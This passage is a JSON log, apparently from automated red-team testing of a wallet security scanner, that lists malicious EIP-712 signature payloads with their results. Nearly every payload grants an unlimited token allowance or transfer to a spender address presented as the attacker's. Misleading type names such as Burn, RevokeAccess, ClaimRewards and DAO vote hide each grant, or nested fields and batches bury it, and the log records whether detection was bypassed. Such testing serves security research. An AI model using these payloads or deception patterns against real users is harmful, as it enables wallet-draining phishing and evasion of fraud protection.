Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T16:57:53.793Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T16:58:02.979Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T16:58:12.141Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T16:58:21.334Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T16:58:30.507Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T16:58:39.651Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T16:58:48.823Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN20-EIP3009-022", "timestamp": "2026-01-31T16:58:58.020Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xff6643678488a80dd456f16c7309a87ec5d31e297f3285f7f47bb56c79e46941\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN20-EIP3009-054", "timestamp": "2026-01-31T16:59:04.572Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x7234a46d195fbe8bb7ac35e5e73f14e8456d40005daa93f9cea6c88ba822056c\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T16:59:14.288Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T16:59:23.508Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T16:59:32.669Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T16:59:41.837Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T16:59:50.999Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T17:00:00.166Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T17:00:09.320Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T17:00:18.481Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T17:00:27.672Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T17:00:36.869Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 